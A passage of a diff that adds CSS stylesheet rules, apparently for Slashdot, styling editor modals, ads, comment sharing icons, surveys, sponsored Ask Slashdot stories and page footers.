+border-bottom-left-radius: .75em;
+border-bottom-right-radius: 0;
+
+
+border-style:solid;
+border-width:1px;
+display:block;
+float:left;
+height:24px;
+}
+
+#modal_prefs > .wr {
+position: absolute;
+top: 3em;
+width: 100%;
+}
+
+#modal_prefs .contents .c strong {
+display:none;
+}
+
+form#modal_prefs{
+overflow:visible;
+}
+
+.subactionbuttons {
+clear:both;
+position:relative;
+line-height:2.5em;
+}
+
+.subactionbuttons .cancel:hover {
+text-decoration:underline;
+}
+
+.subactionbuttons .cancel {
+border:none;
+background:none;
+font-weight:normal;
+color:#006666;
+padding-left:0;
+}
+
+div#editor.step2 > div > form .edit-bar,
+.step2 #edit-preview-button.hide {
+display:none;
+}
+
+#editor.step1 {
+margin-left:-5em;
+}
+
+div#modal_box_content #editor.step1 {
+margin-left:0;
+}
+
+#editor:not(.state-is-modal).step1 {
+margin-left:-5em;
+}
+
+#editor.state-is-modal {
+width:100%;
+}
+
+
+#editor.step1 #edit-edit-button {
+display:none;
+}
+
+.captcha > div,
+.captcha > div div {
+display:inline;
+}
+
+#editor .subarticle-foot {
+position:relative;
+display:block;
+height:1em;
+}
+
+#editor aside .tags {
+width:100%;
+}
+
+#editor #edit-preview-button {
+padding:4px 4em 3.5px;
+}
+
+#editor footer.meta.article-foot,
+.briefarticle .article-foot {
+display:none !important;
+}
+
+#editpreview article aside.view_mode > h3,
+#editpreview article aside.view_mode > br {
+display:none;
+}
+
+.random {text-align: center;}
+.random .quote {/*font-family: 'Times', sans-serif;*/ font-size: 1.4em; text-align: center; font-style: italic; color: rgb(125,125,125);}
+.random small {color:rgb(125,125,125);}
+
+/* for firehose.pl?op=view book reviews */
+.book_details {
+ background: #066;
+ color: #fff;
+ font-weight: bold;
+}
+
+.book_details tr td {
+padding: 2px 2px 2px 4px;
+}
+
+.book_title {
+ text-align: right;
+ font-size: 110%;
+}
+
+.book_data {
+ background: #eee;
+ color: #000;
+ font-weight: normal;
+}
+
+#firehose .grid_24 > .help > div{
+margin:1em 1em 1em 0;
+}
+#firehose_more .btn {padding-left: 0; padding-right: 0;}
+
+/* FAQ */
+#faq {position: relative;}
+ #faq div {margin: 10px 0 20px;}
+ #faq h2 {font: normal 18px/1.5;}
+ #faq h3 {font: bold 13px/1.5;}
+ #faq .expand { position: absolute;top: 0;left: 125px; }
+
+/* Ads */
+.ad33 > #fad33 > a > img {
+ position:absolute;
+}
+#tophat .ad1 {display: block; background:rgb(204,204,204); height: 100px; margin: 0; text-align: center; position: relative !important;}
+ #tophat .ad1 #fad1 {
+/*
+width: 100% !important;
+*/
+width:740px !important;
+background:rgb(204,204,204) !important;
+padding: 0; z-index: 100;
+}
+ #tophat .ad1, #tophat .ad1 #fad1 {background: transparent !important; margin: 0 auto; position: relative; padding: 0;}
+.google_afc {clear: both;}
+
+table#topadtable {
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
+ padding: 2px;
+ width: auto;
+ background: none;
+}
+
+#topadtable th, #topadtable td {
+ padding: 5px;
+ border-top: none;
+ vertical-align: bottom;
+}
+
+#fad_db {float:left;}
+#ft_dwnld {margin-bottom: 40px;}
+#ft_dwnld_content {width:293px !important;}
+
+.ad31 {margin-bottom:-16px !important;padding-bottom:0 !important;}
+
+#fad33 {
+background: #fff;
+border-left: 1px solid #BABABA;
+border-right: 1px solid #BABABA;
+text-align:center;
+width:100%;
+min-width:934px;
+
+position:relative;
+z-index:2;
+}
+
+#fad33 table {
+ margin: 5px auto;
+}
+
+.google_afc,
+.google_afc .afc_ads {
+z-index:10 !important;
+}
+
+#slashboxes .advertisement { padding-bottom: 20px; }
+.marchex * {vertical-align: top; line-height: 15px !important;}
+.marchex table {border: none;}
+
+#slashboxes div#fad31p a {
+ margin-left: 92px;
+}
+
+div.advertisement div#fad32 a {
+ display: block;
+ float: right;
+ margin-right: 0;
+ margin-top: -20px;
+}
+
+
+
+
+
+
+
+
+
+
+
+
+.soda {
+cursor:pointer;
+}
+
+.soda.pop0{background-color:#cde;}
+.soda.pop1{background-color:#c00;}
+.soda.pop2{background-color:#f93;}
+.soda.pop3{background-color:#ff6;}
+.soda.pop4{background-color:#0c3;}
+.soda.pop5{background-color:#06f;}
+.soda.pop6{background-color:#609;}
+.soda.pop7{background-color:#306;}
+.soda.pop8{background-color:#000;}
+
+article .soda {
+-moz-border-radius:4px 4px 4px 4px;
+-webkit-border-radius:4px 4px 4px 4px;
+-o-border-radius:4px 4px 4px 4px;
+border-radius:4px 4px 4px 4px;
+border:1px solid rgba(0, 0, 0, 0.5);
+display:inline-block;
+height:14px;
+padding:2px;
+text-indent:-99999px;
+width:12px;
+margin-right:0.25em;
+}
+
+.article .body .bodytext {
+ display: block;
+ margin: 1.5em;
+}
+
+.-view #search #viewsearch,
+.-view #search #fhsearch
+{
+display:none !important;
+}
+
+body.preferences #slashboxes,
+body.user.login.-view .col_2 #content #slashboxes {
+display:none;
+}
+
+.zooicon a {
+ background-repeat:no-repeat;
+ background-image: url('//a.fsdn.com/sd/classic/img/zoo.png');
+ display: inline-block;
+ height: 12px;
+ text-indent: -9999px;
+}
+
+
+span.zooicon.neutral a {
+ background-position:0px 0;
+ width:12px;
+}
+
+
+span.zooicon.friend a {
+ background-position:-22px 0;
+ width:12px;
+}
+
+
+span.zooicon.foe a {
+ background-position:-44px 0;
+ width:12px;
+}
+
+span.zooicon.freak a {
+ background-position:-128px 0;
+ width:12px;
+}
+
+
+span.zooicon.fof a {
+ background-position:-66px 0;
+ width:21px;
+
+}
+
+span.zooicon.eof a {
+ background-position:-97px 0;
+ width:21px;
+}
+
+article a.watch{
+ background:rgba(204, 204, 204, 0.1) url(//a.fsdn.com/sd/icon_play.png) no-repeat scroll center center;
+ display:block;
+ height:100px;
+ margin:0;
+ padding:0;
+ position:absolute;
+ text-indent:-99999px;
+ width:130px;
+}
+
+article a.watch:hover {
+ background-color:rgba(0,0,0,0);
+}
+
+.barewrap {
+ margin:-1em -1em -1.5em;
+ padding:1em 1em 2em;
+ min-height:512px;
+}
+
+#SD_SLASHDOT_DW {
+-moz-border-radius:2em 0 0 0;-webkit-border-radius:2em 0 0 0;border-radius:2em 0 0 0;-moz-box-shadow:0 2px 12px rgba(0, 0, 0, 0.6);-webkit-box-shadow:0 2px 12px rgba(0, 0, 0, 0.6);box-shadow:0 2px 12px rgba(0, 0, 0, 0.6);
+}
+
+.barewrap .btn.nofloat {
+ float:none !important;
+}
+
+
+body.slashdot-it li.comment.oneline * {
+display:inline;
+}
+
+body.slashdot-it #commentlisting > li.oneline {
+ overflow: hidden;
+ margin-bottom: 0.25em;
+ background: rgba(229,229,229,.5);
+}
+
+body.slashdot-it .commentBody br {
+display:none !important;
+}
+
+body.slashdot-it .vote,
+body.slashdot-it .hidden,
+body.slashdot-it .zooicon {
+display:none !important;
+}
+
+body.slahsdot-it li.comment.full .byby, body.slashdot-it li.comment.full .zooicon, body.slashdot-it li.comment.full .title h4 > a {display:inline !important}
+body.slashdot-it li.comment.oneline {margin-right:0 !important;cursor:pointer}
+body.slashdot-it li.comment.oneline h4 > a {display:inline !important;}
+body.slashdot-it li.comment.oneline > .current { margin-top: -0.1em;}
+body.slashdot-it li.comment.oneline h4,body.slashdot-it li.comment.full .title h4 {cursor:pointer;}
+body.slashdot-it li.comment .inline_comment {padding:0 20px;}
+body.slashdot-it form .replyto_reply p {clear:both;}
+body.slashdot-it li.comment .commentSub {padding:0 10px;}
+
+.tag {
+position:relative;
+}
+
+.tag > img {
+bottom:14px;
+left:0;
+position:absolute;
+opacity:.4;
+}
+
+.tag:hover > img {
+opacity:1;
+}
+
+.tag.img {
+display:inline-block;
+min-width:60px;
+text-align:center;
+}
+
+.fhitem-journal > div.body {
+margin:20px;
+}
+
+.void {
+display:inline-block;
+width:1px;
+height:1px;
+}
+
+#comments .commentwrap > .commentBox.notice.pcna {
+margin-left:1em;
+}
+
+#d2header {
+position:relative;
+background:rgb(255,255,255);
+z-index:2;
+}
+
+#d2header > div > nav.grid_24 {
+min-height:3em;
+}
+
+.a2commentwrap #d2header {
+margin-top:-4.5em;
+background:none;
+}
+
+.comments.-view #d2header {
+margin-top:0;
+}
+
+#d2header > div {
+ margin: 0 0.75em;
+}
+
+.a2commentwrap #d2header > div {
+ margin: 0 318px 0 0.75em;
+}
+
+#d2header > div > nav {
+-moz-border-radius:10px 0 0 0;
+-webkit-border-radius:10px 0 0 0;
+border-radius:10px 0 0 0;
+padding:0.25em 0 0 0;
+margin:0;
+position:relative;
+height:auto;
+}
+
+#d2header > div > aside {
+padding:0;
+margin:0;
+text-align:center;
+}
+
+/*#d2header > div > nav,
+#d2header > div > aside {
+min-width:610px;
+}*/
+
+#d2header > div > aside p {
+margin:0.5em 2em;
+}
+
+#d2header nav div#d2out.horizontal {
+height:38px;
+float:right;
+}
+
+#d2header nav div#d2out.horizontal #d2act{
+top:-2px;
+}
+
+#d2header nav a.btn:first-child {
+margin-left:1em;
+}
+
+/*
+#d2header {
+width:75%;
+min-width:690px;
+}
+
+#d2header nav a.btn.first {
+margin-left:.5em;
+}
+*/
+
+#d2header nav div .ind {
+float:left;
+padding-left:.45em;
+border:1px solid transparent;
+}
+
+#d2header nav div .btn {
+margin-left:.45em;
+margin-right:0;
+}
+
+#d2header nav a,
+#d2header nav button {
+margin-top:5px;
+margin-bottom:0;
+}
+
+.d1or2 {
+margin-top:-3px;
+margin-bottom:3px;
+min-width:256px;
+float:right;
+}
+
+div.d1or2 #d2out .ccw-score-label {
+display:none;
+padding-top:.7em;
+}
+
+div.d1or2 #d2out:hover .ccw-score-label {
+display:block !important;
+}
+
+#d2header .ccw-score-label .sc,
+#d2header .ccw-score-label > div {
+background:#E1E1E1;
+margin-top:2px;
+opacity:.75;
+}
+
+#d2header .pref {
+position:absolute;
+right:.15em;
+top:.25em;
+}
+
+#d2header form.d1 fieldset {
+border:0;
+}
+
+#d2header > div > nav.grid_24 > div.grid_14 {
+padding-bottom:.5em;
+}
+
+#d2header > div > nav.grid_24 > div.grid_14 > .ind {
+display:none;
+}
+
+
+.a2commentwrap .pcna {
+display:none;
+}
+
+#a2footer {
+margin-left:-1px;
+padding:6px 3px 6px 0;
+position:relative;
+white-space:nowrap;
+/*overflow:hidden;*/
+-moz-box-shadow: inset 0 0 4px #CCC;
+-webkit-box-shadow: inset 0 0 4px #CCC;
+box-shadow: inset 0 0 4px #CCC;
+height:22px;
+margin-bottom:.75em;
+}
+
+.vote.grid_4{
+margin-left:20px;
+}
+
+#a2footer h3#a2ns:hover * {
+text-decoration:underline;
+}
+
+#a2footer h3#a2rl {
+background:#fff;
+margin: 0 0 -0.5em 1.5em;;
+padding: 0.5em;
+border-radius:5px 5px 0 0;
+-moz-border-radius:5px 5px 0 0;
+-webkit-border-radius:5px 5px 0 0;
+height:1.1em;
+display:inline-block;
+}
+
+#a2footer h3#a2ns {
+ cursor: pointer;
+ float: right;
+ font-size: 1.3em;
+ line-height: 1.6em;
+ overflow: hidden;
+ text-align: right;
+ width: 100%;
+}
+
+#a2footer h3#a2rl {
+float:left;
+font-size:1.3em;
+box-shadow:0px -1px 2px #cccccc;
+-webkit-box-shadow:0px -1px 2px #cccccc;
+-moz-box-shadow:0px -1px 2px #cccccc;
+}
+
+#a2footer #a2ns > a {
+padding-right: 1.65em;
+}
+
+#a2footer #a2rl,
+#a2footer #a2sh,
+#a2footer #a2ns {
+margin-right:0 !important;
+display:inline-block;
+}
+
+#a2footer .left {
+position:absolute;
+z-index:2;
+}
+
+#a2footer .left > h3 {
+
+}
+
+#a2footer .right {
+left: 0;
+position: absolute;
+text-indent: 320px;
+width: 100%;
+z-index:1;
+}
+
+#a2sh {
+margin-left:.5em;
+margin-bottom: -8px;
+margin-top:-5px;
+line-height: 24px;
+}
+#a2sh .sd_google_plus1 {
+display:inline-block;
+margin-top: 5px;
+/*margin:0 0 -9px 0;*/
+}
+
+#a2footer > * {
+display:inline-block;
+}
+
+.view_mode > h3,
+.view_mode > menu,
+.view_mode > p {
+clear:both;
+padding-top:.5em;
+padding-left:1.5em
+}
+
+footer.nf {
+border-radius: 0 0 0 10px;
+-moz-border-radius: 0 0 0 10px;
+-webkit-border-radius: 0 0 0 10px;
+ height: 2.75em;
+ padding: 0 0 0;
+ position: relative;
+ z-index: 0;
+margin-left: 0;
+padding-right:2px;
+width:100%;
+}
+
+/*
+footer.nf blockquote {
+color: rgb(0,0,0);
+left: 4em;
+position: absolute;
+top: 2.75em;
+}
+*/
+
+.-view footer.nf:not(.aoc) nav ul.fleft {
+display:none;
+}
+
+footer.nf nav ul {
+margin:0 1.25em 0 0;
+}
+
+footer.nf nav,
+footer.nf nav ul,
+footer.nf nav li {
+display:inline;
+}
+
+footer.nf nav li {
+padding:0.6em 0 0.4em;
+}
+
+footer.nf nav li a {
+color:#ffffff;
+}
+
+footer.nf nav li.selected {
+ background:#FFFFFF;
+ border-radius: 0 0 5px 5px;
+ -moz-border-radius: 0 0 5px 5px;
+ -webkit-border-radius: 0 0 5px 5px;
+ margin: -2px 0 -0.5em .75em;
+ padding-left: 0.5em;
+ padding-right: 0.5em;
+ box-shadow:0px 2px 1px rgba(0,0,0,.9);
+ -webkit-box-shadow:0px 2px 1px rgba(0,0,0,.9);
+ -moz-box-shadow:0px 2px 1px rgba(0,0,0,.9);
+}
+
+footer.nf nav li.selected a:hover {
+text-decoration:none;
+}
+
+footer.nf nav li.selected a {
+color:#006666;
+}
+
+
+#a2sh > div > a { /* this is a hack for opera, do not remove. SLASH-1457*/
+border-width: 0px 1px;
+border-style: solid;
+border-color: transparent;
+}
+
+
+/* NEW SURVEYS */
+form#survanswer_all > ol > li {
+list-style:decimal !important;
+}
+
+form#survanswer_all > ol li {
+margin:0 !important;
+padding:0 !important;
+}
+
+form#survanswer_all > ol > li,
+form#survanswer_all > ul > li {
+margin-bottom:1.5em !important;
+}
+
+form#survanswer_all > ol {
+margin-left:16px;
+}
+
+form#survanswer_all ul {
+margin-left:0 !important;
+margin-top:0 !important;
+}
+
+form#survanswer_all p {
+margin-bottom:0;
+}
+
+form#survanswer_all .single_choice_radio > li {
+display:inline-block;
+vertical-align:top;
+}
+
+form#survanswer_all .multi_choice_pulldown select {
+width:auto;
+min-width:100px;
+}
+
+form#survanswer_all .fill_in_the_blank textarea {
+clear:both;
+display:block;
+}
+
+form#survanswer_all textarea {
+width:94% !important;
+}
+
+form#survanswer_all .radiocols span.radiopos {
+display: block;
+width: auto;
+text-align: center;
+min-width: 25px;
+}
+
+form#survanswer_all .radiocols label {
+display:block;
+width:auto;
+text-align:center;
+line-height:1.25em;
+}
+
+form#survanswer_all .radiocols label {
+font-size:.85em;
+}
+
+
+#atnr2 {
+padding:.75em 0 0 0;
+}
+
+#iad102 {
+border:0;
+padding:0;
+margin:0;
+}
+
+
+
+
+
+
+
+
+#hofnew .ad2,
+#hofnew .ad4 {
+background-color: transparent;
+background-image: url(//a.fsdn.com/sd/area_divider.gif);
+background-repeat: no-repeat;
+}
+
+
+
+#hofnew .ad2 {
+background-position:center 0;
+}
+
+#hofnew .ad4 {
+background-position:center 0;
+}
+
+
+#hofnew .grid_4.tcenter {
+color:#ccc;
+line-height:154px !important;
+}
+
+#hofnew .grid_4.r2.tcenter {
+color:#ccc;
+line-height:100px !important;
+}
+
+#hofnew .grid_4.ad3.r3.tcenter {
+line-height:1.6em !important;
+}
+
+
+.grid_4.ad2.r2.tcenter {
+line-height:2.5em !important;
+}
+
+.grid_4.ad1.r1.tcenter {
+height:162px;
+}
+
+
+#hofnew .r1.grid_10,
+#hofnew .r2.grid_10,
+#hofnew .r3.grid_10,
+#hofnew .r4.grid_10 {
+padding-top:1.75em;
+}
+
+
+.ad2.r2 {
+margin-top:-3em;
+padding-top:3em;
+}
+
+.ad4.r4 {
+margin-top:-4em;
+padding-top:4em;
+}
+
+
+#hofnew {
+min-height:560px;
+}
+
+ul.nobullets {
+list-style:none;
+padding:0;
+margin:0;
+}
+
+ul.nobullets > li {
+margin-left:0;
+}
+
+.hofuicounter > small {
+ background: black;
+ display: inline-block;
+ width: 12px;
+ text-align: center;
+ height: auto;
+ color: white;
+ text-shadow: #444 1px 1px 1px;
+ border-left: 1px solid #DDD;
+ border-right: 1px solid #999;
+ border-bottom: 1px solid #ccc;
+ border-top: 1px solid #ccc;
+
+
+background-image: -webkit-gradient(linear, 0% 0%, 0% 50%, from(rgba(255,255,255,.75)), to(rgba(0,0,0,1)));
+background-image: -moz-linear-gradient(100% 50% 90deg,rgba(0,0,0,1), rgba(255,255,255,.75) 100%);
+background-image: -o-linear-gradient(top, rgba(255,255,255,.75), rgba(0,0,0,1)) 50%);
+
+}
+
+.hofuicounter {
+ -moz-border-radius:3px;
+ -webkit-border-radius:3px;
+ border-radius:3px;
+ background:#555;
+ padding:2px;
+}
+
+.hofuicounter > small.toroll {
+position: relative;
+display: inline-block;
+overflow: hidden;
+}
+
+.hofuicounter > small span.roll {
+position:relative;
+}
+
+#sfsyndc li {
+display:inline-block;
+width:100%;
+clear:both;
+}
+
+#sfsyndc li > a > img {
+float:left;
+background: #EEE;
+padding: .5em;
+border-radius: .5em;
+-webkit-border-radius: .5em;
+-moz-border-radius: .5em;
+margin-right:1em;
+box-shadow: 1px 1px 10px rgba(0,0,0,.05);
+-webkit-box-shadow: 1px 1px 10px rgba(0,0,0,.05);
+-moz-box-shadow: 1px 1px 10px rgba(0,0,0,.05);
+}
+
+#sfsyndc li:hover > a > img {
+box-shadow: 1px 1px 10px rgba(0,0,0,.25);
+-webkit-box-shadow: 1px 1px 10px rgba(0,0,0,.25);
+-moz-box-shadow: 1px 1px 10px rgba(0,0,0,.25);
+-webkit-transform: rotate(-2deg);
+-moz-transform: rotate(-1deg);
+-o-transform: rotate(-1deg);
+transform: rotate(-1deg);
+-webkit-transform: skewx(1deg) skewy(1deg) translatex(0px);
+-moz-transform: skewx(1deg) skewy(1deg) translatex(0px);
+}
+#story_archive_opts_year .active,
+#story_archive_opts .active,
+ul.menu li.selected,
+.linkCommentPage .active,
+#formtabs .active,
+#fh-paginate > span.active,
+.pref .preftab.active,
+.mhof .hoftab.active,
+#friendsmenu li.active,
+#modal-p .menu li.selected,
+.smallscreen > #u2tabs.left_menu li.active,
+nav.left_menu li.active a,
+#friendsmenu li.active a,
+ul.menu li.selected a,
+#friendsmenu li.active a,
+#modal-p .menu li.selected a,
+span.preftab.active a,
+#hofnew .active a
+
+{
+ cursor:text;
+ font-weight:bold;
+ color: #999999;
+ text-decoration: none;
+ text-shadow: 1px 1px #ffffff;
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/* ask slashdot sponsored DEFAULT */
+article.askslashdot_sponsored > div.body a,
+article.askslashdot_sponsored > aside.view_mode a,
+article.askslashdot_sponsored > footer.article-foot a,
+.askslashdot_sponsored #comments .oneline.authorized_commenter > div *,
+.askslashdot_sponsored #comments .full.authorized_commenter > .commentTop,
+.askslashdot_sponsored #comments .full.authorized_commenter > .commentBody,
+.askslashdot_sponsored #comments .full.authorized_commenter > .commentSub,
+.askslashdot_sponsored #comments .full.authorized_commenter > div > div > div.details,
+.askslashdot_sponsored #comments .full.authorized_commenter > div > div > div.details a {
+color: #237eb5;
+}
+
+.askslashdot_sponsored #comments .oneline.authorized_commenter > div > .commentBody,
+.askslashdot_sponsored #comments .oneline.authorized_commenter > div > .commentBody > p,
+.askslashdot_sponsored #comments .full.authorized_commenter > div > .commentSub a.btn.link,
+.askslashdot_sponsored #comments .full.authorized_commenter div > div.inline_comment > form > div.replyto_buttons a.link {
+color: #237eb5 !important;
+}
+
+
+
+.askslashdot_sponsored #comments .full.authorized_commenter > div > div > div > h4,
+.askslashdot_sponsored h2.story {
+background:#1978b1 !important;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#3c8dbe), to(#1978b1)) !important;
+background-image: -moz-linear-gradient(100% 100% 90deg,#1978b1, #3c8dbe 100%) !important;
+background-image: -o-linear-gradient(top, #3c8dbe, #1978b1 100%) !important;
+}
+
+.askslashdot_sponsored h2.story > span.comments {
+display:none !important;
+}
+
+.briefarticle.askslashdot_sponsored .sponsoredmessage {
+margin:0 -3em 0 0 !important
+}
+
+.article.askslashdot_sponsored .sponsoredmessage {
+margin:0 -1em 0 0 !important;
+}
+
+.askslashdot_sponsored #comments .full.authorized_commenter > div > div .title h4,
+.askslashdot_sponsored #comments .full.authorized_commenter > div > div > .title h4 a {
+color:#ffffff;
+}
+
+
+.askslashdot_sponsored #comments .oneline.authorized_commenter > div * {
+text-shadow: rgba(35,126,181,.25) 1px 1px 1px;
+}
+
+#content.askslashdot_sponsored h2.story > span > a {
+color:#fff;
+}
+
+#content.askslashdot_sponsored a.tag:hover {
+color:#fff !important;
+}
+
+.askslashdot_sponsored > header > .topic {
+display:none;
+}
+
+
+/* ask slashdot sponsored SF.NET */
+
+article.askslashdot_sponsored.sf > div.body a,
+article.askslashdot_sponsored.sf > aside.view_mode a,
+article.askslashdot_sponsored.sf > footer.article-foot a,
+.askslashdot_sponsored.sf #comments .oneline.authorized_commenter > div *,
+.askslashdot_sponsored.sf #comments .full.authorized_commenter > .commentTop,
+.askslashdot_sponsored.sf #comments .full.authorized_commenter > .commentBody,
+.askslashdot_sponsored.sf #comments .full.authorized_commenter > .commentSub,
+.askslashdot_sponsored.sf #comments .full.authorized_commenter > div > div > div.details,
+.askslashdot_sponsored.sf #comments .full.authorized_commenter > div > div > div.details a {
+color: #3c7c9d;
+}
+
+.askslashdot_sponsored.sf #comments .oneline.authorized_commenter > div > .commentBody,
+.askslashdot_sponsored.sf #comments .oneline.authorized_commenter > div > .commentBody > p,
+.askslashdot_sponsored.sf #comments .full.authorized_commenter > div > .commentSub a.btn.link,
+.askslashdot_sponsored.sf #comments .full.authorized_commenter div > div.inline_comment > form > div.replyto_buttons a.link {
+color: #3c7c9d !important;
+}
+
+
+
+.askslashdot_sponsored.sf #comments .full.authorized_commenter > div > div > div > h4,
+.askslashdot_sponsored.sf h2.story {
+background:#1978b1 !important;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#3c8dbe), to(#3c7c9d)) !important;
+background-image: -moz-linear-gradient(100% 100% 90deg,#3c7c9d, #3c8dbe 100%) !important;
+background-image: -o-linear-gradient(top, #3c8dbe, #3c7c9d 100%) !important;
+}
+
+
+.askslashdot_sponsored.sf #comments .oneline.authorized_commenter > div * {
+text-shadow: rgba(35,126,181,.25) 1px 1px 1px;
+}
+
+.sponsoredmessage.fright {
+display: inline-block;
+height: 1.6em;
+}
+
+li.comment > div > .commentSub > #flag_comment {
+display:none;
+margin-right:-3em;
+float:right;
+position:relative;
+z-index:2;
+background:white;
+
+padding-left:1em;
+padding-top:1em;
+margin-top:-1em;
+
+
+}
+
+li.comment:hover > div > .commentSub > #flag_comment {
+display:block;
+}
+
+#flag_comment input.t {
+width: 100px;
+min-width: 100px;
+padding: 0;
+float:right;
+}
+
+#flag_comment input.s {
+padding:0 .5em;
+width:auto;
+float:right;
+}
+section#besttabs {
+background:#E1E1E1;
+text-align:center;
+margin:0 !important;
+padding-top: 1em;
+}
+
+section#besttabs span.legend {
+display:inline !important;
+font-size:.85em;
+top: -1px;
+position: relative
+}
+
+ul.besttabslist {
+display:inline-block !important;
+margin-bottom:0;
+margin-left:0;
+}
+
+ul.besttabslist li {
+display:inline;
+margin:0 .2em;
+}
+
+ul.besttabslist li.active {
+background: white;
+margin: 0;
+padding: 0.5em .75em;
+border-radius: 5px 5px 0 0;
+-moz-border-radius: 5px 5px 0 0;
+-webkit-border-radius: 5px 5px 0 0;
+height: 1.1em;
+display: inline-block;
+box-shadow: 0px -1px 2px #cccccc;
+-webkit-box-shadow: 0px -1px 2px #cccccc;
+-moz-box-shadow: 0px -1px 2px #cccccc;
+font-weight:bold;
+}
+
+ul.besttabslist li.active,
+ul.besttabslist li.active a,
+ul.besttabslist li.active a:hover {
+color:#999;
+text-decoration:none !important;
+cursor:text;
+}
+
+#editor.slashdotthis.step1 {
+margin-left:0;
+}
+
+#editor.slashdotthis .captcha > .humanconf_questions,
+#editor.slashdotthis .tag_widget > label.fleft,
+#editor.slashdotthis .subactionbuttons > label.fleft,
+#editor.slashdotthis aside > label.fleft,
+#editor.slashdotthis p .fleft {
+width:auto;
+}
+/*
+.commentSub .comment_share {
+display: inline-block;
+float: right;
+line-height: 2.5em;
+height: 1.75em;
+position: absolute !important;
+right: 4em;
+}
+.comment > div:hover > .commentSub > .comment_share {
+display:inline-block;
+}
+*/
+
+.sharethisawrp > span > a,
+.commentSub .comment_share > a,
+.socialbadge > a {
+background-image: url('//a.fsdn.com/sd/commentshareicons.png?1');
+display: inline-block;
+width: 16px;
+overflow: hidden;
+height: 16px;
+text-indent: -999999px;
+float:none;
+vertical-align:middle;
+}
+
+
+.commentSub .comment_share > a.nobg {
+background:none;
+overflow:auto;
+text-indent:0;
+height:auto;
+width:auto;
+}
+
+.commentSub .comment_share > a:not(:first-child) {
+margin-left:.5em;
+}
+
+.sharethisawrp > span > .t,
+.comment_share > .t,
+.socialbadge > .t {
+background-position:0 0;
+}
+
+.sharethisawrp > span > .f,
+.comment_share > .f,
+.socialbadge > .f {
+background-position:-16px 0;
+}
+
+
+.sharethisawrp > span > .g,
+.comment_share > .g,
+.socialbadge > .g {
+background-position:-32px 0;
+}
+
+.sharethisawrp > span > .l,
+.comment_share > .l,
+.socialbadge > .l {
+background-position:-48px 0;
+}
+
+.sharethisawrp > span > .y,
+.comment_share > .y,
+.socialbadge > .y {
+background-position:-80px 0;
+}
+
+#newa2footerv2 .pr h3,
+#newa2footerv2 .rl h3,
+#newa2footerv2 .ns h3 {
+background:#e1e1e1;
+text-align:center;
+min-height:30px;
+height:30px;
+}
+
+#newa2footerv2 .pr h3 {
+margin:0 .25em 0 0;
+font-size:1.6em;
+border-radius:10px 0 0 0;
+-webkit-border-radius:10px 0 0 0;
+-moz-border-radius:10px 0 0 0;
+cursor:pointer;
+}
+
+#newa2footerv2 .c a {
+text-decoration:underline;
+}
+
+#newa2footerv2 .ns h3 a,
+#newa2footerv2 .pr h3 a {
+display:inline-block;
+width:100%;
+}
+
+#newa2footerv2 .rl h3 {
+margin:0;
+text-align:left;
+line-height:2em;
+padding:0 .75em;
+}
+
+#newa2footerv2 .ns h3 {
+margin:0 0 0 .25em;
+font-size:1.6em;
+cursor:pointer;
+}
+
+#newa2footerv2 .c {
+display:inline-block;
+padding:.5em .75em;
+}
+
+span.sharethisawrp span.vkx {
+width:auto !important;
+position:absolute;
+}
+
+span.sharethisawrp span.vkx {
+display:inline-block;
+}
+
+span.sharethisawrp span.vkx.h {
+display:none;
+}
+
+.sharethisawrp {
+white-space:nowrap;
+margin-left:1.25em;
+position: relative;
+display: inline-block;
+}
+
+.sharethisawrp > span > a.g,
+.sharethisawrp > span > a.f {
+margin-left: 0.5em;
+}
+
+a.sharethisaclose {
+float:right;
+font-size:0.85em;
+opacity:.5;
+text-decoration:none !important;
+}
+
+.sharethis-0 {
+clear: both;
+background: rgba(225,225,225,.85);
+width: auto !important;
+padding:.25em .25em;
+border-radius: 4px;
+-moz-border-radius: 4px;
+-webkit-border-radius: 4px;
+position:relative;
+z-index: 1;
+margin-left:-.75em;
+margin-top: .15em;
+box-shadow:1px 1px 4px #bbb;
+-webkit-box-shadow:0px 1px 4px #bbb;
+-moz-box-shadow:0px 1px 4px #bbb;
+display:inline-block;
+}
+
+.sharethis-0.hide {
+display:none;
+}
+
+
+.sd_google_plus1 {
+display:inline-block;
+}
+
+.sharethis-0 > .au {
+top:36%;
+height:10px;
+left:0;
+position:absolute;
+width:10px;
+margin-left:-5px;
+background: rgba(225,225,225,.9);
+-webkit-transform: rotate(-45deg);
+-moz-transform: rotate(-45deg);
+-o-transform: rotate(-45deg);
+-ms-transform: rotate(-45deg);
+transform: rotate(-45deg);
+}
+
+.slashtv-river-thumbnail {
+float:left;
+display:inline-block;
+height:100px;
+width:160px;
+margin:0 1.5em 0 1.5em;
+}
+
+.article-foot > .l {
+clear:both;
+}
+
+#mostdiscussed .cmntcnt { color: #333 }
+#mostdiscussed .cmntcnt span { background: #333; color: #fff; font-size: .9em; font-weight: bold;}
+#mostdiscussed .cmntcnt .slant { background: #333 }
+
+
+
+#clickgen {
+max-height:200px
+}
+
+#clickgen.a > section,
+#clickgen.a > aside {
+height:200px;
+max-height:200px;
+}
+
+#clickgen.c > section {
+height:180px;
+max-height:180px;
+}
+
+#clickgen > section > div,
+#clickgen > aside > div {
+margin:.25em;
+min-height:180px;
+}
+
+#clickgen > aside > div {
+background-color:#E6E6E6;
+}
+
+#clickgen > section.f > div {
+padding: 0;
+border-radius: 10px 0 0 0;
+-moz-border-radius: 10px 0 0 0;
+-webkit-border-radius: 10px 0 0 0;
+-o-border-radius: 10px 0 0 0;
+}
+
+
+#clickgen > .st > section,
+#clickgen > section > div,
+#clickgen > aside > div {
+border: 1px solid #C8C8C8;
+}
+
+
+#clickgen .union,
+#clickgen > section h4,
+#clickgen > aside h4 {
+background: #004242;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#066), to(#004242));
+background-image: -moz-linear-gradient(100% 100% 90deg,#004242, #066 100%);
+background-image: -o-linear-gradient(top, #066, #004242 100%);
+}
+
+#clickgen > section h4,
+#clickgen > aside h4,
+#clickgen > section h4 a,
+#clickgen > aside h4 a {
+color: white;
+}
+
+.grid_4 > div > h4 {
+margin-bottom:1em !important;
+}
+
+#clickgen > section:not(.f) h4,
+#clickgen > aside:not(.f) h4 {
+border-radius:0 !important;
+-moz-border-radius:0 !important;
+-webkit-border-radius:0 !important;
+-o-border-radius:0 !important;
+}
+
+.ui-icon-w.shuffle {
